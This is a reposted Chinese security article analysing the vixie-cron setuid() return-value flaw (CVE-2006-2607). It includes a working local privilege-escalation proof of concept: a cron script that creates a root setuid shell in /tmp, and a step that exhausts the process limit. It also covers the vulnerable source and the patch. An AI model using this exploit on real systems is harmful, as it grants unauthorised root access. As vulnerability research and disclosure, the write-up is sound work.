登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

Setuid() - nproc limit 类型漏洞之深入分析
发表日期:2006-10-14作者:Ph4nt0m (axis_at_ph4nt0m.org)[转贴] 出处:安全焦点  

Setuid() - nproc limit 类型漏洞之深入分析
                                        (PST)

---------[ Subject   : Setuid() - nproc limit 类型漏洞之深入分析    ]
---------[ Author    : axis(axis@ph4nt0m.org)                       ]
---------[ Copyright : www.ph4nt0m.org    www.secwiki.com           ]
---------[ Date      : 07/20/2006                                   ]
---------[ Version   : 1.0                                          ]



|=-----------------------------------------------------------------------------=|

---------[ Table of Contents ]

  0x110 - 前言
  0x120 - cron提升权限漏洞
  0x130 - 深入分析
  0x140 - Conclusion
  0x150 - Reference

|=-----------------------------------------------------------------------------=|



---------[ 0x110 - 前言 ]
    前段时间出现了一种新的类型的漏洞,就是未正确检查setuid()函数的返回值.
    setuid()如果执行成功,将返回0,如果执行失败,将返回-1.如果程序以root的身份运行,假设该程序正常setuid(uid)后,讲降低权限为普通用户,但是由于未检查setuid()的返回值,也就是说,出于一些原因,setuid失败了,那么程序可能还将继续以root身份运行.这就导致了一些非常危险的事情可能发生.
    


---------[ 0x110 - vixie cron提升权限漏洞 ]
    前段时间出的vixie cron提升权限漏洞,就是属于该类型的漏洞
    具体公告参见:
    http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607

    crond的守护进程是以root身份启动的,每个普通用户都可以建立自己的crontab
    如果使用了pam_limits.so来限制用户启动的进程数,当用户的crontab里启动的进程数达到了限制数后,就会造成setuid失败,从而该子进程将继承root权限,继续以root身份运行.

    具体我们来POC一下,测试平台是Redhat Enterprise Linux 4 Update 4
    
[axis@localhost temp]$ uname -a
Linux localhost.localdomain 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux

[axis@localhost temp]$ cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[axis@localhost temp]$ rpm -qa |grep vixie
vixie-cron-4.1-36.EL4

[axis@localhost temp]$ rpm -qa |grep pam
pam_ccreds-1-3
pam_smb-1.1.7-5
pam-devel-0.77-66.11
pam-0.77-66.11
pam_passwdqc-0.7.5-2
pam_krb5-2.1.8-1
spamassassin-3.0.4-1.el4
[axis@localhost temp]$
    

    首先修改/etc/security/limits.conf
    添加如下行:
    axis             hard    nproc           400
    这句的意思是把axis用户启动的进程限制为400

    然后修改/etc/pam.d/crond
    添加如下行:
    session  required   pam_limits.so
    这句的意思是crond使用pam_limits.so,而这个pam的so则是读取/etc/security/limits.conf的配置
    所以在这里,cron就会限制axis用户只能运行400个进程了.

    然后建立axis需要运行的任务.
    建立如下shell脚本

[axis@localhost temp]$ pwd
/home/axis/temp
[axis@localhost temp]$ cat x.sh
#!/bin/sh

cp /bin/sh /tmp/sh
chown root:root /tmp/sh
chmod 4755 /tmp/sh

sleep 1000000;

[axis@localhost temp]$

    该脚本会在/tmp下建立一个suid shell

    然后添加到axis的crontab里:
[axis@localhost temp]$ crontab -e

* * * * * /home/axis/temp/x.sh
~
~
~
~
    保存退出后,就已经建立好了任务了
[axis@localhost temp]$ crontab -l
* * * * * /home/axis/temp/x.sh
[axis@localhost temp]$

这样每分钟,就会运行一次x.sh

仔细看x.sh,因为可以发现,如果没有root权限,那么建立出来的/tmp/sh属主只能是axis.


查看下当前用户的进程数
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
4
[axis@localhost temp]$

只有4个,而前面在/etc/security/limits.conf里限制axis进程数为400
那么,使用一些消耗的进程

[axis@localhost temp]$ ./daemon -s 100000 -p 380
创建指定的进程数量,父进程退出。
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
390
[axis@localhost temp]$

daemon这个小程序的作用是在后台启动进程,每个进程sleep 100000s,这里我们启动了380个进程,所以现在进程总数是390

马上就快到400了


[axis@localhost temp]$ ll /tmp
total 608
-rwsr-xr-x  1 axis axis 616312 Jul 21 18:26 sh
[axis@localhost temp]$

可以看到现在/tmp/sh还是axis为属主,说明x.sh还是以axis身份运行的.


过了几分钟后
[root@localhost ~]# ll /tmp
total 608
-rwsr-xr-x  1 root root 616312 Jul 21 18:40 sh
[root@localhost ~]# ps axun | grep '^ *500 ' | wc -l
400
[root@localhost ~]#

可以看到/tmp/sh变成属主为root了!
[root@localhost ~]# ps aufx

......

root      2460  0.0  0.0  3440  512 ?        Ss   Jul12   0:00 gpm -m /dev/input/mice -t exps2
root      2470  0.0  0.0  6400 1096 ?        Ss   Jul12   0:00 crond
root      6020  0.0  0.0  6984 1444 ?        S    18:36   0:00  \_ crond
axis      6021  0.0  0.0  3536  848 ?        Ss   18:36   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6026  0.0  0.0  3040  456 ?        S    18:36   0:00  |   |   \_ sleep 1000000
axis      6024  0.0  0.1  7956 2556 ?        S    18:36   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root      6035  0.0  0.0  6984 1444 ?        S    18:37   0:00  \_ crond
axis      6036  0.0  0.0  3252  844 ?        Ss   18:37   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6041  0.0  0.0  2576  456 ?        S    18:37   0:00  |   |   \_ sleep 1000000
axis      6039  0.0  0.1  7164 2564 ?        S    18:37   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root      6073  0.0  0.0  6984 1444 ?        S    18:38   0:00  \_ crond
axis      6074  0.0  0.0  3096  848 ?        Ss   18:38   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6079  0.0  0.0  2456  456 ?        S    18:38   0:00  |   |   \_ sleep 1000000
axis      6077  0.0  0.1  6532 2564 ?        S    18:38   0:00  |   \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root      6481  0.0  0.0  6984 1444 ?        S    18:39   0:00  \_ crond
axis      6482  0.0  0.0  2568  844 ?        Ss   18:39   0:00  |   \_ /bin/sh /home/axis/temp/x.sh
axis      6487  0.0  0.0  2760  456 ?        S    18:39   0:00  |   |   \_ sleep 1000000
root      6485  0.0  0.0     0    0 ?        Z    18:39   0:00  |   \_ [crond] <defunct>
root      6507  0.0  0.0  6980 1420 ?        S    18:40   0:00  \_ crond
root      6508  0.0  0.0  3912  848 ?        Ss   18:40   0:00      \_ /bin/sh /home/axis/temp/x.sh
root      6512  0.0  0.0  3080  456 ?        S    18:40   0:00          \_ sleep 1000000
xfs       2496  0.0  0.0  4228 1416 ?        Ss   Jul12   0:00 xfs -droppriv -daemon
root      2515  0.0  0.0  2024  700 ?        Ss   Jul12   0:00 /usr/sbin/atd
dbus      2525  0.0  0.0  3160 1024 ?        Ss   Jul12   0:00 dbus-daemon-1 --system
root      2538  0.0  0.0  4168 1028 ?        Ss   Jul12   0:00 cups-config-daemon

......

注意这里!
root      6507  0.0  0.0  6980 1420 ?        S    18:40   0:00  \_ crond
root      6508  0.0  0.0  3912  848 ?        Ss   18:40   0:00      \_ /bin/sh /home/axis/temp/x.sh
root      6512  0.0  0.0  3080  456 ?        S    18:40   0:00          \_ sleep 1000000

本来应该是以axis用户身份运行的x.sh,变成以root身份运行了!









---------[ 0x110 - 深入分析 ]


    造成上面漏洞的原因是多方面的.首先,如果在/etc/security/limits.conf里限制了用户的进程数,那么pam_limits.so将调用pam_open_session(),如果是root调用他,则会返回一个PAM_SUCCESS,同时以root执行下去.
    但是当用户进程数达到限制的个数后,pam-0.79-9.6照样允许pam_open_session()成功执行下去,但是这个时候,crond的子进程却会setuid()失败, 而vixie-cron-4.1并没有检查setuid()的返回值,没有检查他是否已经setuid()成功,所以本来应该用setuid()来降权的,却照样以root身份在运行.而此时fork()却是被允许的,即便是已经达到了用户的最大进程数,所以,任务就以root身份继续运行下去了!!

    我们可以看看代码,在do_command.c里:

......

void
do_command(entry *e, user *u) {
        Debug(DPROC, ("[%ld] do_command(%s, (%s,%ld,%ld))\n",
                      (long)getpid(), e->cmd, u->name,
                      (long)e->pwd->pw_uid, (long)e->pwd->pw_gid))

        /* fork to become asynchronous -- parent process is done immediately,
         * and continues to run the normal cron code, which means return to
         * tick().  the child and grandchild don't leave this function, alive.
         *
         * vfork() is unsuitable, since we have much to do, and the parent
         * needs to be able to run off and fork other processes.
         */
        switch (fork()) {
        case -1:
                log_it("CRON", getpid(), "error", "can't fork");
                break;
        case 0:
                /* child process */
                acquire_daemonlock(1);
                child_process(e, u);
                Debug(DPROC, ("[%ld] child process done, exiting\n",
                              (long)getpid()))
                _exit(OK_EXIT);
                break;
        default:
                /* parent process */
                break;
        }


......

                /* set our directory, uid and gid.  Set gid first, since once
                 * we set uid, we've lost root privledges.
                 */
#ifdef LOGIN_CAP
                {
#ifdef BSD_AUTH
                        auth_session_t *as;
#endif


......



#else
                setgid(e->pwd->pw_gid);
                initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
                setlogin(usernm);
#endif /* BSD */
                setuid(e->pwd->pw_uid); /* we aren't root after this... */

#endif /* LOGIN_CAP */
                chdir(env_get("HOME", e->envp));


注意看这里
setgid(e->pwd->pw_gid);
......
setuid(e->pwd->pw_uid); /* we aren't root after this... */

    这里仅仅是简单的执行setuid(),并没有做任何的检查返回值的措施.


再看看patch就更清楚了

[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation.patch
--- vixie-cron-4.1/do_command.c.orig    2006-05-29 16:45:32.000000000 +0200
+++ vixie-cron-4.1/do_command.c 2006-05-29 16:48:28.000000000 +0200
@@ -300,12 +300,24 @@
                        }
                }
#else
-               setgid(e->pwd->pw_gid);
+
                initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
                setlogin(usernm);
#endif /* BSD */
-               setuid(e->pwd->pw_uid); /* we aren't root after this... */
+
+       if ( setgid(e->pwd->pw_gid) == -1 ) {
+               fprintf(stderr,"can't set gid for %s\n", e->pwd->pw_name);
+               _exit(1);
+       }
+
+       if ( setuid(e->pwd->pw_uid) == -1 ) {
+               fprintf(stderr,"can't set uid for %s\n", e->pwd->pw_name);
+               _exit(1);
+       }
+
+               /* we aren't root after this... */
+

#endif /* LOGIN_CAP */
                chdir(env_get("HOME", e->envp));
[root@localhost SOURCES]#

在补丁里,对setuid()和setgid()的返回值都加上了限制.



    这个漏洞主要是pam的特性造成的,即如果是root执行pam_open_session(),那么是可以继续fork()的,即使是user nproc limit达到了限制数,但是此时setuid()却fail了,所以造成了这个问题.其本质就是:fork()正常执行,而setuid()却失败了.





    在Josh的blog上,他曾经提到在2.6内核中,默认给每个用户设置了nproc limit,所以对于2.6内核,是默认都可以成功提权的.
    见:http://www.bress.net/blog/archives/34-setuid-madness.html

    其实这是不正确的.

    init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
    init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;
    
    这里确实是限制了用户的进程数,但是RLIMIT_NPROC在2.4内核中就有了,进程数与内存大小等都有关系

    
[root@localhost ~]# ulimit -u
32764
[root@localhost ~]#

    每个用户默认是可以启动32764个进程的,虽然可以使用ulimit -u命令来修改他,但是与/etc/security/limits.conf里限制的user nproc limit还是有区别的.

    经过测试,直接使用ulimit -u来修改进程数,是无法再fork()出来新的用户进程的,这是因为前面提到过这个漏洞还与pam是相关的,利用了pam的特性,会一直成功的fork()





---------[ 0x110 - Conclusion ]

    综上所述,要成功利用该类型的漏洞,需要满足三个条件:
    1) 程序以root身份运行,同时fork()出子进程,其子进程通过setuid()降权
    2) setuid()失败,但是程序并未检查setuid()的返回值
    3) setuid()失败后,还能够继续成功fork(),这样就是以root身份运行了,从而达到了提权的目的.

    pam的nproc limit只是一个例子,只要满足了上面3个条件,应该说都存在此类缺陷,是否还有更多的漏洞来等待我们的挖掘呢?!

    最后感谢 thiefox,gary



---------[ 0x110 - Reference ]

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431
http://www.bress.net/blog/archives/34-setuid-madness.html





-EOF-

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Setuid() - nproc limit 类型漏洞之深入分析

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00201